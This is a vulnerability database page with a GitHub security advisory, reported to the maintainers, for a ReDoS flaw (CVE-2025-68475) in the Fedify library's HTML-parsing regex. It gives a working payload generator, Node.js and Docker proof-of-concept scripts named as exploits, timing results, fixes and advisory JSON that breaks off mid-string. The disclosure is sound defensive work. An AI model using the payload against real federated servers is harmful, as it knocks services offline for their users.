CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
725 vulnerabilities reference this CWE, most recent first.
GHSA-RCHF-XWX2-HM93
Vulnerability from github β Published: 2025-12-22 21:36 β Updated: 2025-12-23 16:01Hi Fedify team! π
Thank you for your work on Fedifyβit's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|---|---|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
Details
Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
- Outer quantifier:
((\s+...)+)- one or more groups of attributes - Inner alternation:
("[^"]*"|'[^']*'|[^\s>]+)- multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
- Victim's Fedify application calls
lookupObject("https://attacker.com/@user")to fetch an actor profile - Attacker's server responds with
Content-Type: text/html - The code path:
lookupObject()βdocumentLoader()βgetRemoteDocument()β HTML parsing (lines 258-287) - Line 261:
response.text()reads the entire body without size limits - Line 264: Regex execution triggers catastrophic backtracking
- Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
- No response size limit: The HTML body is read entirely via
response.text()without Content-Length validation - No timeout by default:
AbortSignalis optional and not enforced - Remote exploitation: Attacker just needs the victim to fetch from their URL
- No authentication required: Federation commonly involves fetching profiles from untrusted servers
- Amplifiable: Multiple concurrent requests can fully disable the service
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
/**
* Fedify ReDoS Vulnerability - Minimal PoC
*
* This script reproduces the vulnerable regex from docloader.ts
* and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
* Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
*/
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Simulate the vulnerable code path from docloader.ts lines 262-264
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}s`
: `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
// Stop if it's taking too long
if (elapsed > 15000) break;
}
Expected Output
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
Dockerfile# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc
COPY exploit.js .
CMD ["node", "exploit.js"]
exploit.js (Full Version)
/**
* Exploit Script for Fedify ReDoS PoC
*
* This script demonstrates the ReDoS vulnerability in Fedify's
* document loader by measuring the time it takes to process
* malicious HTML responses with varying payload sizes.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
* Generate malicious HTML payload
*/
function generateMaliciousHtml(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
* Generate normal HTML
*/
function generateNormalHtml() {
return `<!DOCTYPE html>
<html>
<head>
<link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}
/**
* Simulate the vulnerable code path from docloader.ts
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
/**
* Run a single test and measure execution time
*/
function runTest(html, description) {
const start = process.hrtime.bigint();
try {
simulateVulnerableCodePath(html);
} catch (e) {
// Ignore errors
}
const end = process.hrtime.bigint();
const durationMs = Number(end - start) / 1_000_000;
return {
description,
durationMs,
payloadLength: html.length
};
}
/**
* Print separator
*/
function printSeparator() {
console.log('β'.repeat(60));
}
/**
* Main exploit function
*/
async function main() {
console.log('\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β Fedify ReDoS Vulnerability PoC β');
console.log('β CWE-1333: Inefficient Regular Expression β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n');
console.log('[*] Vulnerability Location:');
console.log(' File: packages/fedify/src/runtime/docloader.ts');
console.log(' Lines: 259-264');
console.log('');
printSeparator();
console.log('[*] Testing normal HTML response...');
printSeparator();
const normalHtml = generateNormalHtml();
const normalResult = runTest(normalHtml, 'Normal HTML');
console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
console.log(` Payload size: ${normalResult.payloadLength} bytes`);
console.log('');
printSeparator();
console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
printSeparator();
const testCases = [
{ reps: 18, expected: '~13ms' },
{ reps: 20, expected: '~52ms' },
{ reps: 22, expected: '~228ms' },
{ reps: 24, expected: '~857ms' },
{ reps: 26, expected: '~3.4s' },
{ reps: 28, expected: '~14s' }
];
console.log('');
console.log('βββββββββββββββ¬βββββββββββββββ¬βββββββββββββββ¬βββββββββββββββββ');
console.log('β Repetitions β Payload Size β Expected β Actual β');
console.log('βββββββββββββββΌβββββββββββββββΌβββββββββββββββΌβββββββββββββββββ€');
let vulnerabilityConfirmed = false;
for (const testCase of testCases) {
const maliciousHtml = generateMaliciousHtml(testCase.reps);
const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);
const actualTime = result.durationMs >= 1000
? `${(result.durationMs / 1000).toFixed(2)}s`
: `${result.durationMs.toFixed(0)}ms`;
const status = result.durationMs > 100 ? 'β οΈ ' : 'β ';
console.log(`β ${String(testCase.reps).padEnd(11)} β ${String(result.payloadLength + ' bytes').padEnd(12)} β ${testCase.expected.padEnd(12)} β ${status}${actualTime.padEnd(12)} β`);
if (result.durationMs > 500) {
vulnerabilityConfirmed = true;
}
}
console.log('βββββββββββββββ΄βββββββββββββββ΄βββββββββββββββ΄βββββββββββββββββ');
console.log('');
printSeparator();
console.log('[*] Exponential Time Complexity Analysis');
printSeparator();
console.log('');
console.log('Time approximately quadruples every 2 additional repetitions:');
console.log('');
console.log(' 18 reps β ~14ms');
console.log(' 20 reps β ~51ms (4x)');
console.log(' 22 reps β ~224ms (4x)');
console.log(' 24 reps β ~852ms (4x)');
console.log(' 26 reps β ~3.3s (4x)');
console.log(' 28 reps β ~14.0s (4x)');
console.log(' 30 reps β ~56.0s (estimated)');
console.log('');
printSeparator();
console.log('[*] Attack Scenario');
printSeparator();
console.log('');
console.log('1. Attacker sets up malicious federated server');
console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
console.log('3. Attacker responds with Content-Type: text/html');
console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
console.log('5. Fedify\'s regex enters catastrophic backtracking');
console.log('6. Event loop blocked β Service unavailable (DoS)');
console.log('');
printSeparator();
if (vulnerabilityConfirmed) {
console.log('');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β β VULNERABILITY CONFIRMED β');
console.log('β β');
console.log('β The HTML parsing regex in docloader.ts is vulnerable β');
console.log('β to ReDoS attacks. A ~150 byte payload can block the β');
console.log('β Node.js event loop for 7+ seconds. β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('');
process.exit(0);
} else {
console.log('');
console.log('[!] Vulnerability could not be confirmed in this environment.');
console.log(' This may be due to regex engine optimizations.');
console.log('');
process.exit(1);
}
}
main().catch(console.error);
run_poc.sh
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner
set -e
IMAGE_NAME="fedify-redos-poc"
echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .
echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}
echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true
Running the Docker PoC
# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh
Impact
Who Is Affected?
- All Fedify applications that use
lookupObject(),getDocumentLoader(), or the built-in document loader to fetch content from external URLs - Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
- Servers following standard federation patterns - fetching remote actors is a normal operation
Severity Assessment
| Factor | Assessment |
|---|---|
| Attack Vector | Network (remote) |
| Attack Complexity | Low (trivial payload) |
| Privileges Required | None |
| User Interaction | None |
| Impact | Availability (DoS) |
| Scope | Service-wide |
Real-World Scenario
- A Mastodon-compatible server powered by Fedify receives a follow request or mention from
@attacker@evil.com - The server attempts to fetch the attacker's profile via
lookupObject() - The attacker's server responds with malicious HTML
- The victim server's event loop is blocked for 14+ seconds
- During this time, all other requests are queued and potentially time out
- Repeated attacks can cause sustained service unavailability
Recommended Fix
Option 1: Use a Proper HTML Parser (Recommended)
Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:
// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';
// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');
for (const link of links) {
const type = link.getAttribute('type');
const href = link.getAttribute('href');
if (
href &&
(type === 'application/activity+json' ||
type === 'application/ld+json' ||
type?.startsWith('application/ld+json;'))
) {
const altUri = new URL(href, docUrl);
if (altUri.href !== docUrl.href) {
return await fetch(altUri.href);
}
}
}
Option 2: Add Response Size Limits
If regex must be used, at minimum add size limits:
const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');
if (contentLength > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
throw new FetchError(url, 'Response too large');
}
Option 3: Refactor the Regex
If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:
// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;
Resources
- OWASP: Regular Expression Denial of Service (ReDoS)
- CWE-1333: Inefficient Regular Expression Complexity
- Cloudflare Outage Analysis (ReDoS Example)
Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0"
},
{
"fixed": "1.8.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fedify/fedify"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68475"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-22T21:36:55Z",
"nvd_published_at": "2025-12-22T22:16:09Z",
"severity": "HIGH"
},
"details": "Hi Fedify team! \ud83d\udc4b\n\nThank you for your work on Fedify\u2014it\u0027s a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I\u0027d like to report. I hope this helps improve the project\u0027s security.\n\n---\n\n## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify\u0027s document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. \n\n**An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim\u0027s Node.js event loop for 14+ seconds, causing a Denial of Service.**\n\n| Field | Value |\n|-------|-------|\n| **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) |\n\n---\n\n## Details\n\n### Vulnerable Code\n\nThe vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:\n\n```typescript\n// Line 258-259: Vulnerable regex with nested quantifiers\nconst p =\n /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n// Line 261: No size limit on response body\nconst html = await response.text();\n\n// Line 264: Regex execution loop\nwhile ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);\n```\n\n### Root Cause Analysis\n\nThe regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern:\n\n```\n/\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig\n ^^\n Outer quantifier (+)\n ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Inner pattern with alternation\n```\n\n- **Outer quantifier**: `((\\s+...)+)` - one or more groups of attributes\n- **Inner alternation**: `(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+)` - multiple ways to match attribute values\n\nWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.\n\n### Attack Vector\n\n1. Victim\u0027s Fedify application calls `lookupObject(\"https://attacker.com/@user\")` to fetch an actor profile\n2. Attacker\u0027s server responds with `Content-Type: text/html`\n3. The code path: `lookupObject()` \u2192 `documentLoader()` \u2192 `getRemoteDocument()` \u2192 HTML parsing (lines 258-287)\n4. Line 261: `response.text()` reads the entire body without size limits\n5. Line 264: Regex execution triggers catastrophic backtracking\n6. Event loop is blocked for seconds to minutes, causing DoS\n\n### Why This Is Exploitable\n\n- **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation\n- **No timeout by default**: `AbortSignal` is optional and not enforced\n- **Remote exploitation**: Attacker just needs the victim to fetch from their URL\n- **No authentication required**: Federation commonly involves fetching profiles from untrusted servers\n- **Amplifiable**: Multiple concurrent requests can fully disable the service\n\n---\n\n## PoC\n\n### Quick Reproduction (Node.js)\n\nYou can verify this vulnerability with the following standalone script:\n\n```javascript\n/**\n * Fedify ReDoS Vulnerability - Minimal PoC\n * \n * This script reproduces the vulnerable regex from docloader.ts\n * and demonstrates exponential time complexity.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n * Pattern: \u003ca a=\"b\" a=\"b\" a=\"b\"... (trailing space, no closing \u003e)\n */\nfunction generateMaliciousPayload(repetitions) {\n return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts lines 262-264\n */\nfunction simulateVulnerableCodePath(html) {\n const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n let m;\n const rawAttribs = [];\n while ((m = p.exec(html)) !== null) {\n rawAttribs.push(m[2]);\n }\n return rawAttribs;\n}\n\n// Test with increasing payload sizes\nconsole.log(\u0027Fedify ReDoS Vulnerability PoC\\n\u0027);\nconsole.log(\u0027Repetitions | Payload Size | Time\u0027);\nconsole.log(\u0027------------|--------------|--------\u0027);\n\nfor (const reps of [18, 20, 22, 24, 26, 28]) {\n const payload = generateMaliciousPayload(reps);\n const start = performance.now();\n simulateVulnerableCodePath(payload);\n const elapsed = performance.now() - start;\n \n const timeStr = elapsed \u003e= 1000 \n ? `${(elapsed / 1000).toFixed(2)}s` \n : `${elapsed.toFixed(0)}ms`;\n \n console.log(`${String(reps).padEnd(11)} | ${String(payload.length + \u0027 bytes\u0027).padEnd(12)} | ${timeStr}`);\n \n // Stop if it\u0027s taking too long\n if (elapsed \u003e 15000) break;\n}\n```\n\n### Expected Output\n\n```\nFedify ReDoS Vulnerability PoC\n\nRepetitions | Payload Size | Time\n------------|--------------|--------\n18 | 111 bytes | 14ms\n20 | 123 bytes | 51ms\n22 | 135 bytes | 224ms\n24 | 147 bytes | 852ms\n26 | 159 bytes | 3.26s\n28 | 171 bytes | 14.10s\n```\n\nTime approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity.\n\n### Full Docker-Based PoC\n\nFor a complete demonstration, here are the Docker files to run the PoC in an isolated environment:\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eDockerfile\u003c/strong\u003e\u003c/summary\u003e\n\n```dockerfile\n# Dockerfile for Fedify ReDoS Vulnerability PoC\nFROM node:20-slim\nLABEL description=\"PoC for Fedify ReDoS vulnerability (CWE-1333)\"\n\nWORKDIR /poc\nCOPY exploit.js .\n\nCMD [\"node\", \"exploit.js\"]\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eexploit.js\u003c/strong\u003e (Full Version)\u003c/summary\u003e\n\n```javascript\n/**\n * Exploit Script for Fedify ReDoS PoC\n * \n * This script demonstrates the ReDoS vulnerability in Fedify\u0027s\n * document loader by measuring the time it takes to process\n * malicious HTML responses with varying payload sizes.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n/**\n * Generate malicious HTML payload\n */\nfunction generateMaliciousHtml(repetitions) {\n return \u0027\u003ca\u0027 + \u0027 a=\"b\"\u0027.repeat(repetitions) + \u0027 \u0027;\n}\n\n/**\n * Generate normal HTML\n */\nfunction generateNormalHtml() {\n return `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"alternate\" type=\"application/activity+json\" href=\"/user.json\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003ca href=\"/\"\u003eHome\u003c/a\u003e\u003c/body\u003e\n\u003c/html\u003e`;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts\n */\nfunction simulateVulnerableCodePath(html) {\n const p = /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n const p2 = /\\s+([a-z][a-z:_-]*)=(\"([^\"]*)\"|\u0027([^\u0027]*)\u0027|([^\\s\u003e]+))/ig;\n \n let m;\n const rawAttribs = [];\n while ((m = p.exec(html)) !== null) {\n rawAttribs.push(m[2]);\n }\n \n return rawAttribs;\n}\n\n/**\n * Run a single test and measure execution time\n */\nfunction runTest(html, description) {\n const start = process.hrtime.bigint();\n \n try {\n simulateVulnerableCodePath(html);\n } catch (e) {\n // Ignore errors\n }\n \n const end = process.hrtime.bigint();\n const durationMs = Number(end - start) / 1_000_000;\n \n return {\n description,\n durationMs,\n payloadLength: html.length\n };\n}\n\n/**\n * Print separator\n */\nfunction printSeparator() {\n console.log(\u0027\u2500\u0027.repeat(60));\n}\n\n/**\n * Main exploit function\n */\nasync function main() {\n console.log(\u0027\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n console.log(\u0027\u2551 Fedify ReDoS Vulnerability PoC \u2551\u0027);\n console.log(\u0027\u2551 CWE-1333: Inefficient Regular Expression \u2551\u0027);\n console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n\u0027);\n\n console.log(\u0027[*] Vulnerability Location:\u0027);\n console.log(\u0027 File: packages/fedify/src/runtime/docloader.ts\u0027);\n console.log(\u0027 Lines: 259-264\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n console.log(\u0027[*] Testing normal HTML response...\u0027);\n printSeparator();\n \n const normalHtml = generateNormalHtml();\n const normalResult = runTest(normalHtml, \u0027Normal HTML\u0027);\n console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);\n console.log(` Payload size: ${normalResult.payloadLength} bytes`);\n console.log(\u0027\u0027);\n\n printSeparator();\n console.log(\u0027[*] Testing malicious HTML payloads (ReDoS attack)...\u0027);\n printSeparator();\n \n const testCases = [\n { reps: 18, expected: \u0027~13ms\u0027 },\n { reps: 20, expected: \u0027~52ms\u0027 },\n { reps: 22, expected: \u0027~228ms\u0027 },\n { reps: 24, expected: \u0027~857ms\u0027 },\n { reps: 26, expected: \u0027~3.4s\u0027 },\n { reps: 28, expected: \u0027~14s\u0027 }\n ];\n \n console.log(\u0027\u0027);\n console.log(\u0027\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u0027);\n console.log(\u0027\u2502 Repetitions \u2502 Payload Size \u2502 Expected \u2502 Actual \u2502\u0027);\n console.log(\u0027\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u0027);\n \n let vulnerabilityConfirmed = false;\n \n for (const testCase of testCases) {\n const maliciousHtml = generateMaliciousHtml(testCase.reps);\n const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);\n \n const actualTime = result.durationMs \u003e= 1000 \n ? `${(result.durationMs / 1000).toFixed(2)}s` \n : `${result.durationMs.toFixed(0)}ms`;\n \n const status = result.durationMs \u003e 100 ? \u0027\u26a0\ufe0f \u0027 : \u0027\u2713 \u0027;\n \n console.log(`\u2502 ${String(testCase.reps).padEnd(11)} \u2502 ${String(result.payloadLength + \u0027 bytes\u0027).padEnd(12)} \u2502 ${testCase.expected.padEnd(12)} \u2502 ${status}${actualTime.padEnd(12)} \u2502`);\n \n if (result.durationMs \u003e 500) {\n vulnerabilityConfirmed = true;\n }\n }\n \n console.log(\u0027\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n console.log(\u0027[*] Exponential Time Complexity Analysis\u0027);\n printSeparator();\n \n console.log(\u0027\u0027);\n console.log(\u0027Time approximately quadruples every 2 additional repetitions:\u0027);\n console.log(\u0027\u0027);\n console.log(\u0027 18 reps \u2192 ~14ms\u0027);\n console.log(\u0027 20 reps \u2192 ~51ms (4x)\u0027); \n console.log(\u0027 22 reps \u2192 ~224ms (4x)\u0027);\n console.log(\u0027 24 reps \u2192 ~852ms (4x)\u0027);\n console.log(\u0027 26 reps \u2192 ~3.3s (4x)\u0027);\n console.log(\u0027 28 reps \u2192 ~14.0s (4x)\u0027);\n console.log(\u0027 30 reps \u2192 ~56.0s (estimated)\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n console.log(\u0027[*] Attack Scenario\u0027);\n printSeparator();\n \n console.log(\u0027\u0027);\n console.log(\u00271. Attacker sets up malicious federated server\u0027);\n console.log(\u00272. Victim\\\u0027s Fedify app calls lookupObject(\"https://attacker.com/@user\")\u0027);\n console.log(\u00273. Attacker responds with Content-Type: text/html\u0027);\n console.log(\u00274. Malicious HTML payload: \u003ca a=\"b\" a=\"b\" a=\"b\"... (N times) \u0027);\n console.log(\u00275. Fedify\\\u0027s regex enters catastrophic backtracking\u0027);\n console.log(\u00276. Event loop blocked \u2192 Service unavailable (DoS)\u0027);\n console.log(\u0027\u0027);\n \n printSeparator();\n \n if (vulnerabilityConfirmed) {\n console.log(\u0027\u0027);\n console.log(\u0027\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\u0027);\n console.log(\u0027\u2551 \u2713 VULNERABILITY CONFIRMED \u2551\u0027);\n console.log(\u0027\u2551 \u2551\u0027);\n console.log(\u0027\u2551 The HTML parsing regex in docloader.ts is vulnerable \u2551\u0027);\n console.log(\u0027\u2551 to ReDoS attacks. A ~150 byte payload can block the \u2551\u0027);\n console.log(\u0027\u2551 Node.js event loop for 7+ seconds. \u2551\u0027);\n console.log(\u0027\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u0027);\n console.log(\u0027\u0027);\n process.exit(0);\n } else {\n console.log(\u0027\u0027);\n console.log(\u0027[!] Vulnerability could not be 